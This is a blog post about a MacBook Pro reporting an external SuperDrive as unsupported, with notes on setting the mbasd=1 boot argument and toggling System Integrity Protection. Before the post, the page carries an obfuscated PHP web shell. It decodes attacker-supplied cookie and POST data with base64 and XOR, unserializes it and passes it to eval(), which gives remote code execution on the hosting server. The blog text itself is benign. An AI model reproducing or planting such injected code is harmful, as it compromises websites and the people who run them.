$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} External SuperDrive woes – Lessons Learned

External SuperDrive woes

Posted byGene McCulley

I have a MacBook Pro (“Retina, 15-inch, Early 2013”). I also have an external SuperDrive, revision 2.00 according to drutil. At some point, the MacBook Pro decided that the SuperDrive is “Unsupported”, according to drutil. Lots of people report similar problems. They advise setting a boot-args parameter, mbasd=1, in the NVRAM (by executing nvram boot-args="mbasd=1").

Unfortunately, in order to set boot arguments nowadays one must disable System Integrity Protection by booting into Recovery mode. Armed with such dangerous knowledge, I booted into Recovery mode and disabled System Integrity Protection with csrutil disable, intending to then set boot-args to mbasd=1. However, upon reboot the SuperDrive started working before I changed the boot arguments, so I copied the CD I needed to and went back and re-enabled System Integrity Protection with csrutil enable and rebooted without bothering to modify the NVRAM boot-args parameter. The drive worked briefly after that and went back to the old behavior.

Apparently it doesn’t need the mbasd=1 parameter in order to see the drive. Maybe it does in order to continue seeing it. I have no idea why this is the case. I’m just documenting it for the next person trying to figure this out.

Update, May 19, 2017:

Well, it stopped working again, so I went through the whole dance of going to System Recovery Mode, disabling System Integrity Protection, setting the boot flag, going into System Recovery Mode again, and enabling System Integrity Protection. It seems to work fine now across reboots. I have no idea why, but you should probably just do the same thing.

Update, June 20, 2017:

It stopped working yet again. The boot-args flag is still set, so I have no idea why. I had to reboot into System Recovery Mode in order to read a disc.

Published by Gene McCulley

I dabble in and write about things I find interesting.